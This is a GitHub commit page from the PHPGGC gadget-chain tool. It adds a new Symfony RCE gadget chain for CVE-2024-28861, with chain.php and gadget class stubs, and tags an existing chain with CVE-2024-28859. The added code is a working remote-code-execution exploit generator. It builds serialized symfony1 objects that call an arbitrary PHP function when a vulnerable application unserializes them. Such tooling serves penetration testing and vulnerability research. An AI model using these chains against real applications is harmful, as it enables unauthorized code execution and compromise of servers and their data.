Skip to content

Commit 39af9de

Browse files
committed
Merge branch 'darkpills-master'
2 parents ac6f174 + fbac8ba commit 39af9de

File tree

3 files changed

+52
-1
lines changed

3 files changed

+52
-1
lines changed

gadgetchains/Symfony/RCE/12/chain.php

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -7,7 +7,7 @@ class RCE12 extends \PHPGGC\GadgetChain\RCE\FunctionCall
77
public static $version = '1.3.0 <= 1.5.13~17';
88
public static $vector = '__destruct';
99
public static $author = 'darkpills';
10-
public static $information = 'Works until 1.5.13, and until 1.5.17 if installed via git method (not composer)';
10+
public static $information = 'Works until 1.5.13, and until 1.5.17 if installed via git method, not composer (CVE-2024-28859)';
1111

1212
public function generate(array $parameters)
1313
{

gadgetchains/Symfony/RCE/16/chain.php

Lines changed: 18 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,18 @@
1+
<?php
2+
3+
namespace GadgetChain\Symfony;
4+
5+
class RCE16 extends \PHPGGC\GadgetChain\RCE\FunctionCall
6+
{
7+
public static $version = '1.1.0 <= 1.5.18';
8+
public static $vector = 'Serializable';
9+
public static $author = 'darkpills';
10+
public static $information = 'CVE-2024-28861';
11+
12+
public function generate(array $parameters)
13+
{
14+
$escaper = new \sfOutputEscaperArrayDecorator($parameters['function'], array($parameters['parameter']));
15+
$tableInfo = new \sfNamespacedParameterHolder($escaper);
16+
return $tableInfo;
17+
}
18+
}
Lines changed: 33 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,33 @@
1+
<?php
2+
3+
class sfOutputEscaperArrayDecorator
4+
{
5+
protected $value;
6+
7+
protected $escapingMethod;
8+
9+
public function __construct($escapingMethod, $value)
10+
{
11+
$this->escapingMethod = $escapingMethod;
12+
$this->value = $value;
13+
}
14+
}
15+
16+
class sfNamespacedParameterHolder implements Serializable
17+
{
18+
protected $prop = null;
19+
20+
public function __construct($prop)
21+
{
22+
$this->prop = $prop;
23+
}
24+
25+
public function serialize()
26+
{
27+
return serialize($this->prop);
28+
}
29+
30+
public function unserialize($serialized)
31+
{
32+
}
33+
}

0 commit comments

Comments
 (0)